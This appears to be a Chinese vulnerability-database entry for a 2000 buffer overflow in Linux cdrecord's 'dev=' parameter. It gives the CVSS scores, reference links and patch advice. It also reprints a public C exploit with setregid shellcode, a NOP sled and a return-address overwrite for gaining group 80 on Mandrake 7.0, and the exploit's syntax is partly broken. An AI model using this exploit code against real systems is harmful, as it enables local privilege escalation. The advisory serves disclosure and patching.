发布时间 :2000-05-29 00:00:00
修订时间 :2008-09-10 15:04:43

[原文]Buffer overflow in Linux cdrecord allows local users to gain privileges via the dev parameter.

[CNNVD]Linux cdrecord 缓冲区溢出漏洞(CNNVD-200005-100)

        Linux cdrecord存在缓冲区溢出漏洞。本地用户借助dev参数可以提升特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BID  1265
(UNKNOWN)  BUGTRAQ  20000607 Conectiva Linux Security Announcement - cdrecord
(UNKNOWN)  BUGTRAQ  20000603 [Gael Duval ] [Security Announce] cdrecord
(UNKNOWN)  BUGTRAQ  20000527 Mandrake 7.0: /usr/bin/cdrecord gid=80 (strike #2)

- 漏洞信息

Linux cdrecord 缓冲区溢出漏洞
高危 缓冲区溢出
2000-05-29 00:00:00 2005-05-02 00:00:00
        Linux cdrecord存在缓冲区溢出漏洞。本地用户借助dev参数可以提升特权。

- 公告与补丁

        To upgrade automatically, use ? MandrakeUpdate ?. If you want to upgrade manually, download the updated package from one of the FTP server mirrors and uprade with "rpm -Uvh package_name". All mirrors are listed on Updated packages are available in the "updates/" directory.
        For example, if you are looking for an updated RPM package for Mandrake 7.0, look for it in: updates/7.0/RPMS/
        MandrakeSoft Linux Mandrake 7.0

- 漏洞信息 (19969)

Mandriva Linux Mandrake 7.0 Buffer Overflow Vulnerability (EDBID:19969)
linux local
2000-05-29 Verified
0 noir
N/A [点击下载]

The linux cdrecorder binary is vulnerable to a locally exploitable buffer overflow attack. When installed in a Mandrake 7.0 linux distribution, it is by default setgid "cdburner" (which is a group, gid: 80, that is created for the application). The overflow condition is the result of no bounds checking on the 'dev=' argument passed to cdburner at execution time. This vulnerability can be exploited to execute arbitrary commands with egid "cdburner". cdburner has been verified (by the writers of the exploit) to be exploitable on an Intel linux system running Mandrake 7.0. Other distributions of linux may be vulnerable to this problem as well. 

/*  /usr/bin/cdrecord exploit by noir 
 *  x86/Linux 
 * |
 *  dev= param overflow 
 *  this script will get you gid = 80 group cdwriter  
 *  tested on Mandrake 7.0 (Air) 
 *  greetz: dustdevil, Cronos, moog, still, BlaCK #olympos 

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define RET     0xbffffe66 //play with argv[1] +10, -10 if default is not ok  
main(int argc, char *argv[])

        unsigned char shell[] =
        "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80"  /*setregid(80, 80) */

        char egg[400];
    char buf[80];
        int i, a;
        long ret = RET;

        ret = ret - atoi(argv[1]);               
        memset(egg, NOP, 400);
        for(i = 0  ; i < 80 ; i+=4)
                *(long *) &buf[i] = ret;
        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
    egg[i] = shell[a];
        buf[72] = 0x00;
        egg[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("EGG", egg, 1);
        execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0);



- 漏洞信息

Linux cdrecord dev Parameter Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-05-27 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete